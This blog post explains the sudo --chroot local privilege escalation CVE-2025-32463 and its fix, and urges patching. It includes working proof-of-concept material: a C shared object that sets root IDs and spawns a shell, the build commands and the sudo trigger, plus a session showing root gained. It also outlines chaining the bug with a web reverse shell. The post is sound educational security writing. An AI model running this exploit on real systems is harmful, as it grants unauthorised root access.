Using sudo for local privilege escalation - Patch your systems!

Using sudo for local privilege escalation - Patch your systems!

2025, Jul 15    

This post is going to talk about a recent vulnerability found in the sudo command which allows for an easy privilege escalation attack vector. This vulnerability is still probably very prevalent in the wild, but has been patched in most package management ecosystems and operating system shipments. HOWEVER - in case you want to test this out on your own, I am not liable for any damages you cause to anyone’s systems by trying out this exploit - including your own - and the information contained in this post is purely for educational purposes only. The point of this post is to hilight how a tool we take for granted could lead to a privilege escalation attack, and why operating system patches are so critical when managing your IT landscape. If you do something illegal/malicious/dumb I am not responsible.

If you are a linux user, odds are you are familiar with the sudo command. However, most people know it only for it’s main purpose - “Super User DO” (or, in layman’s terms, “run this as root”). Ever been using Ubuntu and been instructed to use sudo apt-get install ... to install stuff? Yep - this is that same command.

In some recent revisions of sudo, there’s a feature which can be used to perform a local privilege escalation attack regardless of the user having sudoers access (reported as CVE-2025-32463). This means that an arbitrary user is now able to run arbitrary commands as root. In case you’re wondering, this is an exploit of CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) - basically it allows for executable functionality from outside of its security/trust boundary. To understand this vulnerability, we first need to understand why this is a vulnerability. And understanding this vulnerability requires understanding two concepts - chroot and nsswitch.conf (the GNU Name Service Switch configuration).

:closed_book: Understanding the exploit

When you want to do “privileged” things on a Linux box, you have to run the command as the “root” user (commonly called the “superuser”). This is similar to the “Run as Administrator” command in Windows. Linux commonly includes a utility to perform this temporary privilege escallation, named sudo which stands for “Super User DO.” It’s commonly used for things like running the apt package manager on Debian, or creating new users, or managing file system mounts; anything that would require escalated access to the system. sudo is literally just another program, usually located at usr/bin/sudo. Oh, and it’s an open source program.

If we look at the permissions of sudo, we see it has -rwsr-xr-x for it’s permissions. See that s in the permissions? That’s a very important detail in this vulnerability - and one that unfortunately cannot be avoided. It tells the kernel that, when this program runs, it needs to switch the uid of the execution to the owner of the program. And guess who owns sudo? Yep - “root.” :flushed: So this means that sudo will always run as “root” regardless of what you tell it to do. So if I were to just do something like sudo --version or even just the sudo command to see it spit out the “usage” text, it’s actually running that as “root” too. See why I said this is a little scary? This is why sudo is a common target for privilege escalation attacks, because it always runs as root. So if there’s any logic errors, parsing errors, or any other vulnerabilities, they can be exploited AS ROOT! :shaking_face: This is a critical detail to how CVE-2025-32463 works.

This specific vulnerability stems from two features built into sudo - the --chroot option and this thing called /etc/nsswitch.conf. chroot is interesting - it’s effectively creating a file system “jail” by changing the “root” of the file system in the shell. Think about it - there is nothing “higher” than “/” in a file system, right? What if I could change where our shell session thinks “/” actually lives? This could be used to lock a user’s session down to a specific file system area, and it’s a common use-case for limiting where sftp sessions can access within a file system. In the case of a user session, this is actually a little harder than it sounds because you have to not only have a directory, you also have to have all the things required to run the environment (so a shell, and all libraries associated with it like libc, libm, etc).

What about that nsswitch.conf thing? Simply put, it’s a configuration file for the GNU Name Service Switch. Simply put, when you want to do anything related to users or passwords or groups there are potentially multiple places to source information from. A fairly typical nsswitch.conf file looks like this:

passwd:         files systemd
group:          files systemd
shadow:         files
gshadow:        files

hosts:          files dns
networks:       files

protocols:      db files
services:       db files
ethers:         db files
rpc:            db files

netgroup:       nis

In this example, for user-related information we can source our information from either “files” (think of the /etc/passwd file) or from “systemd” sources. In Linux, the Name Service Switch is just another executable (just like everything else in Linux), written in C. When you use these various data sources, libnss uses associated shared implementations of the name service. These “shared objects” are just code. Care to take a guess where this is going?

> find /lib/aarch64-linux-gnu/ -name "libnss_*"
/lib/aarch64-linux-gnu/libnss_files.so.2
/lib/aarch64-linux-gnu/libnss_compat.so.2
/lib/aarch64-linux-gnu/libnss_dns.so.2
/lib/aarch64-linux-gnu/libnss_hesiod.so.2

:thinking: What if we could make our own implementation and tell the GNU Name Service Switch to point to it using sudo? Remember that --chroot parameter? What this would effectively do is escalate our process to have root privileges and use our modified nsswitch data source implementation. When it goes to get the data source implementation for NSS we can run our own implementation in the context of sudo as root. I like diagrams, so… here’s a diagram of what this process looks like:

Process Diagram

And this is exactly how the POC for this CVE works.

Breaking down the PoC

The researchers essentially created their own shared object, named “woot1337.c”:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}

Breaking down this shared object, it creates a constructor, which runs before main or runs on startup. This constructor is simple - it sets the user ID and group ID of the running process to 0, aka “root.” It then moves into the root directory of the terminal, and executes the command that was requested in the originating sudocommand. That ${CMD_C_ESCAPED} environment variable exists, I promise. It’s just a shortcut to make the command passed into the exploit script C-safe by escaping some special characters.

:monocle_face: But wait, this code would have to run as root; you can’t just arbitrarily set your process to be root. That would be a CRAZY security vulnerability.” Yep, you’re right. The way we do this is by creating our own libnss shared object, just like we talked about earlier. What we’ll do is make our own version of nsswitch.conf where we direct all operations for retrieving user information on the system (“passwd” processes) to use our shared object implementation and store that in some other directory and build out our handler for the GNU Name Service to use.

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot137.so.2 woot1337.c

And all that’s left is to exploit it!

sudo --chroot woot woot

BONUS CONTENT - Did you happen to notice that our libnss object has a “/” in the name? That’s exploiting a bit of a bug. Because of that “/” being there, the way that libnss will open this file will bypass looking for it in the top level library search path; instead, it’ll just look for it locally in the context of our chroot jail. This is another misimplementation in how dlopen is written that we’re able to take advantage of. It’s not important to understand here, but it is important to how this PoC works.

Remember that “file system jail” concept we talked about earlier? This exploit essentially uses that concept so that when the name service looks for nsswitch.conf it gets our version of nsswitch.conf. Now, when sudo goes to execute any user/password-related function, it’s going to be told to use our shared object code which will give us a root shell. The actual command doesn’t matter because the process doesn’t get to that point. Hence the sudo -R woot woot works - that “woot” command doesn’t exist and yet we get a shell without the process caring at all. That “woot” command could be anything you want.

Package all of this up in a nice little bash script for ease of use and…..

pwn@ubuntu:~$ sudo -i
Password: 
pwn is not in the sudoers file.
pwn@ubuntu:~$ sh ./sudo-chwoot.sh 
woot!
root@ubuntu:/# whoami
root

:boom: We are now root from a user who was not even in the sudoers file to begin with!

The Fix

Like many other popular utilities, sudo is an open source project hosted on GitHub. Looking at the commits in release 1.9.17p1 we can see some interesting changes:

  • f8ff956e1: Tightened handling of the --host option when listing privileges (unrelated to the chroot exploit but part of the patch release).
  • fffcc07c5: Reverted the old pivot_root/chroot mechanism and removed all pivot code. Instead, every path-based lookup (open, stat, NSS, digest matching, etc.) now simply prefixes the configured chroot directory to file paths. This prevents sudo from loading untrusted nsswitch.conf and .so libraries via an attacker-controlled root.
  • 7a6ee32a9: Marked built-in chroot support as deprecated, removing special-case chroot code in the sudoers plugin and steering future chroot handling towards the prefix-based approach.

Release 1.9.17p1 fixes 2 CVEs (see CVE CVE-2025-32462). Commit f8ff956e1 is aimed at CVE-2025-32462 so we won’t dive into that here.

:eyes: Commit fffcc07c5 is the actual fix of our CVE that we are looking at. There’s a lot that went into this fix, but the biggest one is essentially no longer allowing --chroot (or -R) to function. Digging into the code, we see that there’s a function that gets called, named set_cmnd_path which then runs another command, resolve_cmnd, which then calls find_path. Specifically, the call is ret = find_path(infile, outfile, ctx->user.cmnd_stat, path, runchroot, def_ignore_dot, NULL);. That last parameter, which is set to NULL, corresponds to a function parameter char * const *allowList. This (along with the --chroot parameter value) is passed into a cmnd_allowed function, which has the following documentation comment:

/*
 * Check the given command against the specified allowlist (NULL-terminated).
 * On success, rewrites cmnd based on the allowlist and returns true.
 * On failure, returns false.
 */

Notice that the allowlist is NULL-terminated? And it’s now receiving NULL as its value? This effectively eliminates the ability to utilize the --chroot functionality in later versions of sudo. :closed_lock_with_key:

When I tested this POC in the fixed version of sudo (1.9.17p1) here’s what it looked like:

pwn@ubuntu:~$ sudo -i
Password: 
pwn is not in the sudoers file.
pwn@ubuntu:~$ sh sudo-chwoot.sh 
woot!
sudo: the -R option will be removed in a future version of sudo
Password: 
sudo: you are not permitted to use the -R option with woot
pwn@ubuntu:~$ 

As expected - since the “woot” directory that contains our nsswitch.conf file and our library isn’t contained in the allowlist (which is now hard-coded as NULL), it blocks us from the --chroot process and exits sudo.

:interrobang: Why is this such a big deal?

This vulnerability highlights an interesting mindset - “Ok, Matt, but this vulnerability requires the person to be on the box to exploit it, so as long as they can’t get on the box it doesn’t matter, right?” Well… yes. This is correct - this is a LOCAL privilege escalation attack, not an initial access mechanism. However, there’s a reason that this CVE has a CVSS score of 9.3/10 and a vector of CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Let’s break that down:

  • Attack Vector (AV) - LOCAL (yes, it requires being on the box…)
  • Attack Complexity (AC) - LOW (it’s a 1-hop attack, and requires a basic working knowledge of the NSS system and how it interacts with chroot, both of which are pretty easy to figure out)
  • Privilegs Required (PR) - NONE (any user on the machine can do this attack)
  • User Interaction (UI) - NONE (this can easily be scripted as part of a malware attack; it doesn’t necessarily require the user to actively engage anything)
  • Scope (S) - CHANGED (basically this means that resources outside of the authorization privileges of the exploited component can be changed… which makes sense since this attack grants root privileges on the effected machine)
  • Confidentiality Impact (C) - HIGH (this grants root access to the box, which means the attacker can now see potentially sensitive/privileged information stored anywhere… and they can modify it too)
  • Integrity Impact (I) - HIGH (this grants root access to the box, which means there’s a total breakdown in the security boundary intended to segment access to resources on the machine)
  • Availability Impact (A) - HIGH (an attacker can take total control of the machine and its resources, which can lead to a total loss of availability of those resources on the machine; this attack vector can also lead to a foothold scenario where root access can now be persisted and data can slowly be exfiltrated/controlled, potentially without being noticed for an extended period of time)

Why is this such a big deal though? That first metric - Attack Vector - makes this a bit harder since it requires access to the machine. That makes this harder to exploit (and lowers the exploitability subscore to a mere 2.5). BUT - there’s plenty of RCE attack vectors that exist that have a remote attack vector, which could then be combined with this exploit. This creates an easy foothold and privilege escalation attack mechanism once another remote access mechanism is exploited, which is why it is such a big deal.

For example, at the time of writing there’s a CVE for a Wordpress plugin which allows for unauthenticated arbitrary file read and write via a remote tunnel in its PHP code. This means that I could utilize this attack vector to load a PHP file into the web server (we know PHP works because Wordpress runs PHP) to run a reverse shell attack on the machine, and utilize this reverse shell alongside the sudo vulnerability to gain root privileges on the box. :boom:

This seems far-fetched, right? Remember - a hacker’s greatest asset is time. They have all the time they need to exploit the machine whereas the defensive folks have very little time to stop an attack. The best way to stop an attack is to protect from it happening to begin with.. And what is your easiest mechanism for stopping this attack? Patching. Patching. Patching. Patching. Patching. Patching. Get the hint yet? Ubuntu, Debian, AmazonLinux, Gentoo, SuSE - all of them at the time of writing have updates published which resolve this issue, and RedHat is working on a fix currently.

In conclusion

We take sudo for granted. Most people don’t even realize it’s an open source initiative with publicly accessible code on GitHub. It’s baked into most Linux operating systems, so we don’t even think twice about the security of it.

The --chroot option had a great intention behind it - tighten up how sudo matches and resolves commands when you’re running inside of a chroot environment. Prior to this feature being released in 1.9.14 it just prepended the directory to each path. With this change, all of sudo’s file and NSS lookups were effectively sandboxed by the chroot activation, effectively creating the so-called “file system jail” I hinted at earlier. This had a great intention, albeit with a pretty major oversight due to the NSS system being modular and pluggable.

You cannot take security software for granted. Security tools are still software-based, and therefore still prone to contain vulnerabilities. This vulnerability is a great example.